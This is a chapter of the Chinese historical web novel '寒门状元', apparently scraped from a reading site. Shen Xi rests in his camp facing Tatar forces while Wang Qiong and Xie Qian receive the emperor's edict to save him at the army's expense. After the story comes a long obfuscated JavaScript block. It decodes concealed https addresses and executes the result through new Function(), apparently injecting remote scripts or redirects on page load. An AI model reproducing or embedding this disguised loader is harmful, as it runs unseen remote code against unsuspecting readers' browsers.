第二二八章 身死或身败(1 / 1)
寒门状元
天子
3188 字
2022-04-26
军事会议结束,与会人员陆续散去。 沈溪此时非常疲累,跟别人不同,他已经连续熬了几天几夜,虽然行军路途中偶尔会到马车上对付着眯一下,打一会儿盹儿,但到底没有进入过深度睡眠,对他来说快要到身体能够承受的极限了。 唐寅留了下来,他没有官职在身,在军中仅仅是作为幕僚存在,而且是沈溪以私人名义聘请的,并不承担具体事务,赶路又多半是骑马或者乘坐马车,所以目前精神尚可。 “沈尚书,您已多日未曾休息了,得注意身体啊!” 唐寅关心地说了一句,显然是看出沈溪的疲惫。 此时沈溪坐在帅案后的椅子上,低着头闭目养神,听到唐寅的声音,他也没有睁开眼,只是随口回道,“没有人是铁打的,不但军中将士会疲累,连在下也有些扛不住了……难道伯虎兄不想趁此机会休息一会儿?” 唐寅摇头苦笑道:“匆匆忙忙赶到河岸,结果预料中的事情果真发生了,这一切让人既沮丧又失望,根本没心思睡觉。” 沈溪闻言不由睁开眼,抬头看了唐寅一眼,嘴角浮现一抹笑容。 这边唐寅在帅案对面的简易木凳上坐下,看着沈溪问道:“难道沈尚书不想跟我解释一下凌晨河边那场大火吗?只有沈尚书会有理由放这把火,造成我军背水作战、必须置之死地而后生的战略格局,我说得对吧?” 沈溪没有回答唐寅的问题,他知道有些事根本骗不了聪明人,索性不多做辩解,如今全军已到山穷水尽的地步,很多事可以摊开来说,只要唐寅不去跟军中上下揭露,让将士们记恨他便可。 “沈尚书有何可忌讳的?做了就做了,现在就算跟外面的人说,他们又能怎样?全军上下除了跟随你作战,拼得一条生路,还能作何?”唐寅忍不住抛出一系列问题,希望沈溪能够回答。 不过沈溪却始终低着头,无声无息。 唐寅刚开始以为沈溪是在思考如何回答,但过了半天见沈溪一动不动,便觉得有什么地方不对。他站起来走到沈溪面前,半蹲下看了一眼,才知道沈溪已沉沉睡了过去,鼻息间带着轻微的鼾声。 唐寅皱眉自语:“这样都能睡着,得有多累啊?明明可以无惊无险回到大明,某人却非要带领全军来这等死地……何必把自己整得这么辛苦?”他本想搀扶沈溪到中军大帐后方侍卫铺的毛毯上躺下,但又知道不能惊动一个睡眠严重不足的人,若沈溪醒过来的话,再想入眠会很困难。 如此一来,唐寅只能回到刚才的凳子上坐下,看着前面睡得异常香甜的沈溪,心里无限感慨。 又过了大概半个时辰,就在唐寅百无聊赖之际,门口传来一阵脚步声。 唐寅在路上以乘坐马车的时间多,目前体力尚可,他站起来快步走到门口,见马九站在那儿用警惕的目光打量他,当即食指竖到嘴唇前,做了个“噤声”的手势。 看到唐寅这番动作,马九先是一愣,随即探头往帐篷里看了一眼,见沈溪似乎睡了过去,当即退后几步。 “唐先生。” 等唐寅跟过去,马九才发问:“沈大人怎么了?末将有事情找他……” 唐寅轻声道:“沈尚书累了,刚睡着,有事你跟我说也一样……你也知道他这几天基本没落枕,好不容易睡过去,如果不是什么大事的话就不必惊扰他了。” 说到这里,唐寅突然紧张起来,瞪大眼睛问道:“不会是前面鞑靼人发动攻击了吧?” 马九摇头道:“没有,末将前来只是把周围敌人兵马分部情况,还有鞑靼营地布局跟大人说明。” 唐寅松了口气,道:“这些事情你不用跟沈尚书禀告,跟我说也一样,等沈尚书醒来后我自会转告。” 马九有些迟疑,不确定是否可以这样做,但马九对唐寅还算比较信任,毕竟从某种角度而言,唐寅是沈溪私自聘请的幕僚,算得上是心腹,而且唐寅文化水平很高,军中将士平时对唐寅也算敬重。 当然,最主要的还是马九心疼沈溪,希望他能好好睡一觉,不然熬下去的话身体很容易出状况。 马九便把大致军情跟唐寅一说,唐寅听完眼前一亮:“你的意思是说,鞑靼人在我们北面布置的人马,其实只有一两万,是吧?” “目前侦查到的数字的确是如此!”马九回答得很干脆。 唐寅微微松了口气道:“本以为沈尚书有虚言,故意把敌人兵马数量说少些,看来是我多虑了。” 马九用怪异的目光望着唐寅,好似在说,你怎么能怀疑沈大人呢?作为谋臣,你不应该比我们更清楚当前形势?还有,你不该比我们更信任沈大人的说辞和决定吗? 唐寅感觉到自己说话的时机和场合不太合适,面色略微有些尴尬:“鞑靼人暂时没有攻打我们的迹象,说明沈尚书的判断很正确,我们的对手正在筹措重甲和厚盾来防备我们的火器,需要一定的时间做准备。这段时间官兵们正好抓紧时间休息。” 马九道:“军中将士基本都睡在战壕里,目前民夫已撤到后方休息,等他们恢复精神,便开始开凿环河一线的战壕,力争把我们的防线构筑得固若金汤。” “费这么大的力气构筑的工事有用吗?别鞑靼战马冲过来,轻易就把我们的防线给冲散了才好……其实最重要的还是我们装备的火器!”唐寅皱眉道。 马九道:“当然有用,若是没有战壕和沙袋,如何能保证我们的士兵不被敌人的弓弩射到?这些防御措施相当重要,只要敌人不近身,我们就有办法杀伤他们。” 唐寅点了点头,然后远远地往营帐里看了一眼,见沈溪还以原来的姿势低头睡觉,这才回过头来:“那就听从沈尚书安排,让将士们抓紧时间睡觉,如此敌人进攻时,我们才有精神应对……” 马九点了点头,随即拱手:“唐先生,既然大人在休息,那末将先去处理别的事情,大人醒来后请代为转告。” 唐寅有一种自己是副统帅的感觉,以前沈溪在军中太过强势,再加上行军路上更多是看那些武将诈唬和表演,以至于他在军中始终处于那种不上不下的尴尬境地,现在终于可以代表沈溪说话了。 回头仔细一想,好像除了自己外,旁人没这个资格代表沈溪。 唐寅心中多少有些得意:“沈之厚再聪慧,还是请我来当幕僚,就从这一点我便可以在他不在的时候发出调令……若现在我下达个命令,让军中准备好羊皮筏子送我过河当如何……但这么做不是当逃兵么?” 唐寅自己也很纠结,在帐篷外伫立良久,才回到营帐,等他走到沈溪面前时,发现不知何时沈溪已醒了过来,正在伸懒腰。 “沈尚书醒了?”唐寅问道。 沈溪仍旧闭着眼,神色灰暗,黑眼圈明显,显然倦意未消,他打了个哈欠,说道:“刚才不知不觉睡了过去,似乎有人在跟伯虎兄絮叨……伯虎兄刚才在跟谁对话?” 唐寅道:“乃是马九,即你从家里带来的那个游击将军,此人说了敌方军情,看到沈尚书还在休息,在下便让他把话说来听听,再由在下转告。” 沈溪闻言睁开眼来,打量唐寅好一会儿,目光好似在说,既然你说要转告,为何不说? 唐寅叹了口气,当即把马九所说如实转述给沈溪知晓。 沈溪又打了个哈欠:“基本不出所料,鞑靼人正在筹备进攻,所以今天上午开战的可能性微乎其微……如果现在派人到榆林卫城,跟三边总制王琼,还有谢阁老见面,或许能够说服他们出兵。” 唐寅听了精神一振,打量沈溪,问道:“你不会是想让在下去吧?” 沈溪笑着摇头:“从这里过河,南边河岸上全都是鞑子散兵,他们必然紧盯着河这边的一举一动,伯虎兄对自己的骑术得有多大的自信,才能在鞑靼骑手的追击下,安全抵达榆林卫城?” 唐寅不由泄气,嘴上嘟哝道:“无端给人希望,却立即又亲手破灭人的希望,沈之厚果然不是什么善类!” 沈溪根本没听到唐寅嘴上的嘟囔,摇头道:“白天不是回去传信的好时机,看来只能等晚上了……不如伯虎兄你入夜后,带情报回一趟榆林卫城如何?” “当真?” 唐寅再次感觉自己找到一条生路。 谁想沈溪又摇头,把自己先前的话给否定了,“不行,还是不妥当……就算入夜后能见度降低,但鞑靼人有着丰富的夜战经验,不可能会让我方斥候平安回榆林卫城,沟通讯息。让伯虎兄过河,其实跟送死差不多。在下岂能做出这种事?” 唐寅这下彻底恼火了,问道:“沈尚书,你有事直说,不要这么坑人可否?” 沈溪笑道:“伯虎兄生气了?哈哈,还是先看看第一战的结果吧,入夜前肯定会爆发一战,这场战事若是我们能获胜,鞑子军心士气都会受到打击,兵马调度也会出问题,到那时再说派人回城联络之事!” …… …… 天色渐渐亮了起来,沈溪所部跟鞑靼人对峙的局面并未改变。 明军在河岸上修筑前后三重工事作为防守阵地,鞑靼人则开始在沈溪所部营地北边大概四五里的地方结阵。 双方都在进行战前休整,连日急行军后,都没有第一时间开战的意思。 旭日东升,榆林卫城结束前一夜兵荒马乱,各个城门的守军均已做好应战准备,但就是无出兵计划。 王琼一夜未眠,他一直留在总督衙门,尽管很想登上城头亲自查看一下作战准备情况。 “大人……” 正当王琼有些不耐烦时,侯勋终于带着几名侍卫进了总督府,神色间有些紧张。 王琼抿了一口浓茶,让自己脑袋清明些,这才问道:“怎么样了?榆溪河北岸是否开战?” 侯勋回道:“大人,到现在为止,榆溪河两岸仍旧一片风平浪静,不过沈大人确实已无法带兵过河,自长城关隘到榆溪河间有大批鞑靼兵马骚扰,斥候很难活动开,以之前得到的情报看,沈大人现在应该是在北岸积极准备迎战事宜!” 王琼皱眉:“榆溪河北岸属于平原地形,如何能跟鞑靼铁骑交战?那里并无堡垒和要塞……” 侯勋问道:“大人,是否派出一批斥候,绕道敌后查看情况?” 王琼一摆手:“鞑靼人难道会不防备城内派斥候刺探消息?现在我们已处于被动,鞑靼人来势汹汹,现在派人靠近榆溪河,怕也难以把消息安全带回来……现在北岸是否有人前来传递消息?” “并无。”侯勋摇头道。 王琼有些恼火:“那就是什么情况都没有发生,是吧?继续派出斥候,但不得太过深入敌阵,找准机会刺探榆溪河的情况,去吧!” 在这种境况下,王琼有些失去分寸,态度显得很急躁。 “是,大人!” 侯勋领命而去。 侯勋出正堂门口时,见一名清瘦老者站在那儿,却是首辅谢迁前来拜访,将之前侯勋跟王琼的对话听了一耳朵。 “谢大人……” 侯勋见到谢迁有些意外,连忙上前恭敬行礼。 谢迁一挥手:“侯副总兵勿要多礼,自行去办事吧。” 侯勋作别后匆忙离开,这边王琼闻声后自觉地到正堂门口迎接,见礼后问道:“谢阁老怎么来了?” 谢迁面色倒还沉静,微笑着说道:“怎么,老夫不该过来看看吗?德华,你神色憔悴,满面俱是惊惶之色,可见心乱了……这可不像你平日做派,以前你在朝中可是以果决和镇定著称!” 王琼非常无奈:“谢阁老,在下的确忧心忡忡,之前就未曾想,沈尚书居然会在这节骨眼儿上突然带兵来到榆林卫的地盘,眼看他兵马被困,在下却无能为力……这不是让人为难吗?” 谢迁长吸口气,又缓缓呼出来,道:“不能急躁,大战还没开始,只要之厚前几仗打出威势来,还有机会赢得一线生机,不过……最大的问题依然是城内骑兵不在……” 王琼望着谢迁,很想说,骑兵不是您老特意调去宣府的么? 不过他终归还是没敢出言质疑谢迁,转而道:“如今鞑靼数万兵马陈兵榆溪河北岸,若沈尚书那边得不到救援,只能被动挨打,即便有火器抵挡一时,也无法抵挡鞑靼人持续而猛烈的进攻。且之前得到的情报,说是鞑靼人带了大批辎重前来,却又非井阑、冲车等攻城辎重,载运的应该是厚重的铁甲和厚盾,冲在前面抵挡沈尚书所部的火器攻击!” “是吗?” 谢迁本来还很镇定,但听到这番话后,脸色也是急转直下。 王琼叹息道:“在下也希望不是,但现在看来则必然如此,否则鞑靼人为何不趁沈尚书统率的兵马立足未稳时开战?若鞑靼人以铁甲和厚盾作屏障,抵挡火器攻击,火器将无法发挥效用,河岸北边营地怕是连一天都抵挡不住!” 谢迁一抬手:“不必如此悲观吧?” 王琼道:“谢阁老,现在是否要城内做出应对?万一沈尚书有失,鞑靼人趁机进犯延绥,此战很不好打……” 谢迁抬头看着王琼:“局面至此,你焦急又能如何?之前不是已把这边的情况告知宣府?等候陛下御旨吧,算算时间今天回信就该到了。” “再者,咱们距离战场那么远,这跟鞑子的第一战,怎么都轮不到你我来操心!一切都要靠沈之厚自己来克服眼前的困难!” 王琼一怔,随即会意点头。 …… …… 王琼跟谢迁坐下来商讨军情,谢迁态度坚决,就是在沈溪跟鞑靼人首战出结果前,城内一定要按兵不动。 不知不觉晌午到了,有快马抵达延绥,同时跟过来的还有得到消息的侯勋。 “大人!” 侯勋带着信使进入正堂。 信使自宣府过来,并不是之前去传信的张老五,而是皇帝派来的人。 谢迁和王琼都站起身迎接,但见那信使进门后便半跪下来行礼:“王大人,卑职携带陛下御旨,前来传达圣谕!” “拿来吧!” 不等王琼靠前,谢迁便先伸出手。 王琼一怔,但见信使把信筒从背后解下来,没等他打开,便被谢迁一把夺了过去,谢迁不怕信筒会出问题,直接便打开来,从里面滑出一份奏疏,正是之前王琼上奏的那份,谢迁赶忙看后面的回复。 谢迁没有念出声来,几眼便看完,焦点全放在最后的御批上。 看完谢迁没有多余的动作,直接把奏疏甩到王琼怀里,转身往后面的主位去了,王琼尚未及阅览,先对那信使一摆手:“连日赶路辛苦了,快下去领赏吧!” 侯勋没有跟着信使一道离开,显然也想知道正德皇帝下达了怎样的御旨。 王琼粗略一瞥,等看到最后御批后,脸色瞬间变得难看起来,回过头看向谢迁:“谢阁老,陛下是什么意思?” 谢迁黑着脸道:“说得还不够清楚么?陛下要以出塞兵马三军覆没的代价,保全之厚一人!” “啊!?” 没等王琼说话,旁边侯勋先发出惊愕的感叹。 倒不是说侯勋失礼,而是他听到这消息后,的确被惊着了。 从这份圣旨,足见正德皇帝对此时在榆溪河北岸遭遇险境的沈溪的重视,甚至不惜以损失上万兵马的代价,保证沈溪平安回到关塞内。 如此一来,就算沈溪领军失利也不会被皇帝怪责,甚至这场战争的目的,由平草原变成保全沈溪的性命。 王琼看了侯勋一眼,目光中满含怪责,侯勋立马低下头不敢再言语。 王琼对谢迁道:“谢阁老,这件事简直是耸人听闻啊!” 谢迁冷声道:“陛下这是要为自己的战略失策忏悔和做补救!” 因为谢迁的话含有指责皇帝的意思在内,王琼不由看了侯勋一眼,大概意思是现在有“外人”在场,不过谢迁似乎并无顾忌,继续说道:“陛下没有按照既定计划领兵抵达包围圈,反倒是作为诱饵的兵马被鞑靼人包围。出现这么严重的失误,他却只想保沈之厚,意思是下一步他还想出兵草原,再以沈之厚为帅……” 王琼一听谢迁关不住话匣,不由一摆手:“侯副将,你且先到外面等候,之后本督再对你做出吩咐。” “是,大人!” 侯勋领命,正准备退下的时候,谢迁却道:“侯副总兵又不是外人,难道还有什么话需要避忌不成?莫非你们会去陛下跟前告状?” 如此一来,侯勋又只得留下来倾听两位重臣谈话。 王琼叹道:“谢阁老,您这是说得哪里话?现在的问题是,是否要遵照陛下御旨,把消息传到榆溪河北岸,让沈尚书及早抽身……” 谢迁面色间满是迟疑,显然他自己也无法做出决定。 王琼不敢随便说什么,因为事关重大,他感觉会说多错多,索性保持缄默,把决策权交给谢迁。 过了半晌,谢迁才幽幽叹道:“既然连陛下如此决定,老夫还能说什么?找机会……把这份御旨传到榆溪河北岸去吧。” 之前谢迁再讲原则,也无论皇帝下达“弃三军保一人”的圣旨有多荒唐,但他终归还是选择站到了皇帝一边,倒不是说谢迁对朱厚照有多尊崇,而是因为他心中也没有完全放下。 王琼心道:“无论谢阁老再狠心,始终不想坐视沈之厚这么窝囊死在疆场……但他这么回来,还有何面目在朝为官?” 跟陆完和王敞等人的担心一样,王琼也想到沈溪若独自偷生后将要面对的来自朝野的巨大压力。 即便是皇帝下令让他回来,但作为三军主帅,带着手下遭遇败仗全军覆没,只身逃命,却还是临阵脱逃这一极端恶劣的方式苟活于世,名声算是全毁了。 谢迁面色多有不忍,倒不是说他不忍心沈溪去死,而是也意识到沈溪这么回来的话,将会生不如死…… “侯副将,你还在等什么?赶紧派人把情报传递出去!” 王琼不去想谢迁如此命令是否合适,他现在唯一能做的,就是遵命行事,现在等于是皇帝和谢迁二人均做出相同的决定,他自然不会随便掺杂自己的意见,冲着侯勋嘱咐:“若白天无法传递消息,就试着夜晚出动斥候,一定要确保把陛下的御旨内容,清楚无误地传递到沈尚书跟前!”
!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();